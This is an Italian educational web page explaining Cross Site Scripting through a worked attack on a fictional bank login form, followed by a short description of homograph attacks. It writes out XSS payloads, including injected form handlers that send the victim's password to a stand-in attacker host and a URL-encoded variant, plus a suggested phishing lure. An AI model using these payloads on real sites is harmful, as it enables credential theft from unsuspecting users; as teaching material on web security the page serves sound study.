Attacco CSS

Aspetti legali (D.lgs 196/03 e BS 7799)
indietro
avanti

Cross Site Scripting

Il problema

Gli attacchi Cross Site Scripting sono effettuati inserendo dei tag degli scripts (Javascripts) negli URLs ed attraendo gli utenti a cliccarci su, accertandosi che il Javascript cattivo sia eseguito sulla macchina della vittima. 
La potenza di questi attacchi è basata sulla fiducia fra l'utente ed il server ed il fatto che non ci sia convalida dell'ingresso/uscita sul server per rifiutare i caratteri degli script Javascript. 

Approfondimento 

XSS (acronimo di Cross Site Scripting) è un tipo di attacco particolarmente minaccioso in cui un l33t hx0r (pirata informatico elitario) o uno "script kiddie" prova a recuperare informazioni personali, o ingannare un sito, inserendo JavaScript in un Web Form o codificando lo script in un parametro dell'URL. 

x

Figura 1. L'operazione di immissione testo è apparentemente innocua

Cosa comporta l'uso del XSS:

  1. l'accesso completo a tutte le informazioni, comprese quelle di carattere confidenziale, contenute nel server web;
  2. la corruzione della riservatezza delle informazioni confidenziali anche ad altre pagine o siti web;
  3. la modifica del layout oppure del normale funzionamento delle pagine web;
  4. la cattura di password o codici riservati per l'accesso a particolari meccanismi di autenticazione dal momento che l'esecuzione dello script può precedere l'instaurazione di una connessione protetta;
  5. l'alterazione dei cookies in modo da rendere l'attacco di tipo persistente: in particolar modo se il sito web vulnerabile usa un campo del cookie per generare dinamicamente le proprie pagine, la modifica dello stesso cookie può far sì che tutti i futuri accessi al medesimo sito, anche se effettuati sulla base di collegamenti ipertestuali "puliti", siano compromessi;
  6. l'accesso non autorizzato da parte dell'attaccante ai dati di un server web vulnerabile sito all'interno della stessa intranet in cui si trova il client tramite la costruzione ad hoc di URL;

x

Figura 2. Immissione di JavaScript al posto di testo

Possiamo esplicare il tutto con un semplice esempio di un Web Form contenente un'unica casella di testo e un unico pulsante.

L'utente immette il nome nella casella di testo e invia il form:

x

Il cui codice HTML è:

<html>

<body>

<center>

<h1>La Mia Banca </h1>

<hr width="400">

<form action="http://www.miabanca.it/login.asp" method="post">

<b>Inserisci Password:</b> <input type="password" name="pw" value=""><br>

<input type="submit" value="Entra">

</form>

</center>

</body>

</html> 

Se proviamo ad inserire una password sbagliata ed il server dovesse rispondere in questa maniera: 

URL: 
http://www.miabanca.it/login.asp?errore=Password %20Errata%Ritenta

E la schermata sarebbe:

x

Il cui codice HTML è:

<html>

<body>

<center>

<h1>La Mia Banca </h1>

<hr width="400">

<form action="http://www.miabanca.it/login.asp" method="post">

<b>Password Errata Ritenta</b> <br>

<b>Inserisci Password:</b> <input type="password" name="pw" value=""><br>

<input type="submit" value="Entra">

</form>

</center>

</body>

</html>

Quindi possiamo provare a lanciare il seguente URL:

http://www.miabanca.it/login.asp?errore=<script>alert(‘ProvaXSS')</script>

x

Allora capiamo che il server è vulnerabile ai XSS, quindi costruiamo il seguente Cross Site Script:

Se facciamo cliccare a qualcuno il link ad un URL così costruito:

http://www.miabanca.it/login.asp?errore= </form><form action="http://www.miabanca.it/login.asp" method="post" onsubmit="XSSImage=New Image;XSSImage.src='http://www.badhacker.com/'+document.forms(1).pw.value">

Che codificato in esadecimale diventa:

http://www.miabanca.it/login.asp?errore=%3C%2Fform%3E%3Cform
+action%3D%22http%3A%2F%2Fwww%2Emiabanca%2Eit%2Flogin%2
Easp%22+method%3D%22post%22+onsubmit%3D%22XSSImage%3DNew+
Image%3BXSSImage%2Esrc%3D%27http%3A%2F%2Fwww%2Ebadhacker
%2Ecom%2F%27%2Bdocument%2Eforms%281%29%2Epw%2Evalue%22%3E

Oppure potremmo inserire uno script di questo genere:

OnSubmit="window.open('http://www.badhacker.com/cattura.asp?dati='+document.forms(1).pw.value);"

Chiaramente nel file cattura.asp bisogna inserire un window.close per non far vedere la finestra del sito dell'hacker.


Otterremo questa pagina web:

<form action=”http://www.miabanca.it/login.asp” method=”post”>

</form>

<form action="http://www.miabanca.it/login.asp" method="post" onsubmit="XSSImage=New Image;XSSImage.src='http://www.hacker.com/'+document.forms(1).pw.value"> 
<b>Inserisci Password:</b> <input type="password" name="pw" value=""><br>

<input type="submit" value="Entra">

Il primo elemento </form> serve a chiudere il form originale e sostituirlo con

<form action="http://www.miabanca.it/login.asp" method="post" onsubmit="XSSImage=New Image;XSSImage.src='http://www.hacker.com/'+document.forms(1).pw.value"> 

che tramite la OnSubmit invia silenziosamente la password al sito dell'Hacker e poi porta l'utente al sito originale della Banca,l'utente non si accorge di nulla e continua le sue operazioni, ignaro di aver fornito i suoi dati a qualcuno, che si sta leccando i baffi !

Il problema è che questo genere di truffa si può attuare se si riesce a far cliccare a qualcuno il link desiderato (che porta alla pagina modificata) oppure a modificare il codice originale HTML del server, il che prevede una intrusione FTP.

Per indurre a cliccare sul link pericoloso basta a volte inviare una e-mail come questa:

x

L'utente clicca inserisce la sua user e password ed entra nel sito della banca, ma non trova traccia della eventuale vincita pubblicizzata, scrolla le spalle e se ne va ! 

Homograph Attack

Questa è una tecnica per attrarre utenti che sbagliano a digitare un URL oppure che possano ciccare su un link falso, scambiandolo per quello vero, per esempio, della loro banca. 
Poiché la maggior parte delle volte clicchiamo sui link e non li scriviamo

direttamente nella location bar, la trappola funziona a causa dell'equivalenza visiva tra le lettere di alfabeti diversi (cirillico,greco,ecc.) o di simboli strani o nomi di files. 
Siamo abituati a confondere 0 (zero) con O (o maiuscola) ma esistono altri

caratteri che pur essendo visivamente simili, sono semanticamente molto

diversi!

Il pirata “imita” il nome del sito web della vostra banca, quindi installa un proxy che instrada in modo trasparente tutte le vostre richieste alla vostra banca, quindi “Inserisce” il suo link nei portali più importanti ed il gioco è fatto.